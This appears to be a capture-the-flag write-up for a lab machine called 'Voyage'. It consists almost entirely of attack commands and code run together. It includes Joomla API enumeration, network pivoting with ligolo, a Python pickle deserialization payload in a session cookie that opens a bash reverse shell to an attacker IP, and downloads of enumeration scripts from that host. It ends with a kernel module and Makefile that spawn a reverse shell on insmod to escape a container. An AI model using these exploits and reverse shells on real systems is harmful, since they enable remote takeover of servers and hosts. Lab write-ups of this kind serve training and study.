Voyage
Chain multiple vulnerabilities to gain control of a system. - by 1337rce
Last updated
Joomla! - Open Source Content Managementjoomscan -u http://voyage.thm/api/index.php/v1/users?public=true
/api/index.php/v1/config/application?public=truenmap -sn 192.168.100.0/24nmap -sC -sV -p5000 192.168.100.12ssh -L 5000:192.168.100.12:5000 root@voyage.thm -p2222nmap -sC -sV -p5000 127.0.0.1sudo ip tuntap add user root mode tun ligolosudo ip link set ligolo upsudo ip route add 240.0.0.1 dev ligolosudo ip route add 192.168.100.0/24 dev ligolo./proxy -selfcertcurl http://10.14.90.235/agent -o agentchmod +x agent./agent -connect 10.14.90.235:11601 --ignore-cert80049525000000000000007d94288c0475736572948c04726f6f74948c07726576656e7565948c05383530303094752e#!/usr/bin/env python3
import sys, pickle, base64, binascii
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <cookie>")
sys.exit(1)
cookie = sys.argv[1]
try:
# Try hex decode first
data = binascii.unhexlify(cookie)
except (binascii.Error, ValueError):
# If not hex, try base64
data = base64.b64decode(cookie)
obj = pickle.loads(data)
print(obj)#!/usr/bin/env python3
import pickle
import subprocess
class Exploit:
def __reduce__(self):
return (subprocess.Popen, (["bash", "-c", "bash -i >& /dev/tcp/10.14.90.235/4445 0>&1"],))
payload = pickle.dumps(Exploit())
print(payload.hex())curl -H 'Cookie:session_data=80049559000000000000008c0a73756270726f63657373948c05506f70656e9493945d94288c0462617368948c022d63948c2a62617368202d69203e26202f6465762f7463702f31302e31342e39302e3233352f3434343520303e26319465859452942e' http://127.0.0.1:5000python3 -c 'import pty; pty.spawn("/bin/bash")'CTRL+Zstty raw -echo && fgcurl http://10.14.90.235/linpeas.sh -o linpeas.shchmod +x linpeas.sh./linpeas.shcurl http://10.14.90.235/deepce.sh -o deepce.shchmod +x deepce.sh./deepce.sh#include <linux/init.h>
#include <linux/module.h>
#include <linux/kmod.h>
MODULE_LICENSE("GPL");
static int start_shell(void) {
char *argv[] = {
"/bin/bash",
"-c",
"bash -i >& /dev/tcp/10.14.90.235/4445 0>&1",
NULL
};
static char *env[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);
}
static int init_mod(void) {
return start_shell();
}
static void exit_mod(void) {
return;
}
module_init(init_mod);
module_exit(exit_mod);root@d221f7bc7bf8:/tmp/exp# cat Makefile
obj-m += rev.o
KVER := 6.8.0-1030-aws
KDIR := /lib/modules/$(KVER)/build
PWD := $(shell pwd)
all:
make -C $(KDIR) M=$(PWD) modules
clean:
make -C $(KDIR) M=$(PWD) cleancurl http://10.14.90.235/rev.c -o rev.ccurl http://10.14.90.235/Makefile -o Makefilemakeinsmod rev.ko